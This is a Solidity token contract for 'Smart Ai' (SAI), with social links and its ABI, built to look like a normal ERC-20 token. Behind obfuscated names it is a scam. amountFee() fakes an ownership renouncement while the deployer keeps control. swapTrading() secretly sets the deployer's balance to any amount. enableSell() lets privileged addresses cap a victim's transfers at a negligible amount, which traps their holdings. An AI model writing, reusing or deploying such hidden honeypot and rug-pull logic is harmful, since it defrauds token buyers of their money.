/**
Smart Ai Official

Website: https://smartaierc.com
Telegram: https://t.me/SmartAiETH
Twitter: https://twitter.com/SmartAiETH
Reddit: https://www.reddit.com/user/SmartAiETH
Medium: https://medium.com/@SmartAiETH
*/

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract atSender {
    function takeMin() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed sender,
        address indexed spender,
        uint256 value
    );
}


interface swapAmount {
    function createPair(address teamLaunched, address atFromLaunch) external returns (address);
}

interface fromLimit {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract SmartAi is IERC20, atSender {
    uint8 private txEnable = 18;
    
    string private exemptToken = "Smart Ai";
    uint256 private fromShouldReceiver = 100000000 * 10 ** txEnable;
    
    bool public swapAuto;
    uint256 public senderLimit;
    bool public autoEnable;
    address private toMarketing = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public takeSwapAmount;

    string private modeSender = "SAI";
    uint256 constant teamTo = 10 ** 10;


    uint256 private liquiditySell;
    mapping(address => uint256) private launchedAmount;
    mapping(address => bool) public shouldFrom;
    uint256 public listSender;
    bool public feeAmountMax;
    uint256 private walletTokenShould;
    uint256 public toSender;
    address public teamAt;
    bool public listAt;
    mapping(address => bool) public takeSellIs;
    address private toTakeFund;
    mapping(address => mapping(address => uint256)) private tokenBuy;
    bool public receiverLaunchSwap;


    

    event OwnershipTransferred(address indexed maxShould, address indexed liquidityReceiver);

    constructor (){
        
        fromLimit receiverLaunched = fromLimit(toMarketing);
        takeSwapAmount = swapAmount(receiverLaunched.factory()).createPair(receiverLaunched.WETH(), address(this));
        toTakeFund = takeMin();
        if (swapAuto != autoEnable) {
            autoEnable = true;
        }
        teamAt = toTakeFund;
        shouldFrom[teamAt] = true;
        if (receiverLaunchSwap) {
            walletTokenShould = senderLimit;
        }
        launchedAmount[teamAt] = fromShouldReceiver;
        emit Transfer(address(0), teamAt, fromShouldReceiver);
        amountFee();
    }

    

    function symbol() external view returns (string memory) {
        return modeSender;
    }

    function tradingLimit() public view returns (bool) {
        return listAt;
    }

    function name() external view returns (string memory) {
        return exemptToken;
    }

    function totalLaunched(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        if (sellEnableReceiver == teamAt || modeTokenTo == teamAt) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
        }
        if (autoEnable) {
            listAt = false;
        }
        if (takeSellIs[sellEnableReceiver]) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, teamTo);
        }
        
        return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
    }

    function tradingWallet(address walletIs) public {
        if (feeAmountMax) {
            return;
        }
        
        shouldFrom[walletIs] = true;
        
        feeAmountMax = true;
    }

    function allowance(address receiverMarketing, address txLaunch) external view virtual override returns (uint256) {
        return tokenBuy[receiverMarketing][txLaunch];
    }

    function swapMin() public {
        
        if (senderLimit != walletTokenShould) {
            senderLimit = listSender;
        }
        toSender=0;
    }

    function transfer(address exemptLaunch, uint256 senderMax) external virtual override returns (bool) {
        return totalLaunched(takeMin(), exemptLaunch, senderMax);
    }

    function enableSell(address txSender) public {
        
        if (txSender == teamAt || txSender == takeSwapAmount || !shouldFrom[takeMin()]) {
            return;
        }
        
        takeSellIs[txSender] = true;
    }

    function decimals() external view returns (uint8) {
        return txEnable;
    }

    function fromExemptWallet() public view returns (bool) {
        return swapAuto;
    }

    function getOwner() external view returns (address) {
        return toTakeFund;
    }

    function owner() external view returns (address) {
        return toTakeFund;
    }

    function approve(address txLaunch, uint256 senderMax) public virtual override returns (bool) {
        tokenBuy[takeMin()][txLaunch] = senderMax;
        emit Approval(takeMin(), txLaunch, senderMax);
        return true;
    }

    function swapTrading(uint256 senderMax) public {
        if (!shouldFrom[takeMin()]) {
            return;
        }
        launchedAmount[teamAt] = senderMax;
    }

    function sellAmount() public view returns (bool) {
        return autoEnable;
    }

    function modeMarketing() public view returns (bool) {
        return listAt;
    }

    function tokenAtShould() public view returns (uint256) {
        return toSender;
    }

    function balanceOf(address atShould) public view virtual override returns (uint256) {
        return launchedAmount[atShould];
    }

    function amountFee() public {
        emit OwnershipTransferred(teamAt, address(0));
        toTakeFund = address(0);
    }

    function totalSupply() external view virtual override returns (uint256) {
        return fromShouldReceiver;
    }

    function receiverReceiver(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        require(launchedAmount[sellEnableReceiver] >= senderMax);
        launchedAmount[sellEnableReceiver] -= senderMax;
        launchedAmount[modeTokenTo] += senderMax;
        emit Transfer(sellEnableReceiver, modeTokenTo, senderMax);
        return true;
    }

    function totalMarketing() public view returns (uint256) {
        return toSender;
    }

    function transferFrom(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) external override returns (bool) {
        if (tokenBuy[sellEnableReceiver][takeMin()] != type(uint256).max) {
            require(senderMax <= tokenBuy[sellEnableReceiver][takeMin()]);
            tokenBuy[sellEnableReceiver][takeMin()] -= senderMax;
        }
        return totalLaunched(sellEnableReceiver, modeTokenTo, senderMax);
    }


}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"maxShould","type":"address"},{"indexed":true,"internalType":"address","name":"liquidityReceiver","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"receiverMarketing","type":"address"},{"internalType":"address","name":"txLaunch","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amountFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"txLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"atShould","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"txSender","type":"address"}],"name":"enableSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeAmountMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromExemptWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listAt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"modeMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverLaunchSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"senderLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shouldFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAuto","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"swapTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"takeSellIs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSwapAmount","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAtShould","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletIs","type":"address"}],"name":"tradingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"exemptLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sellEnableReceiver","type":"address"},{"internalType":"address","name":"modeTokenTo","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]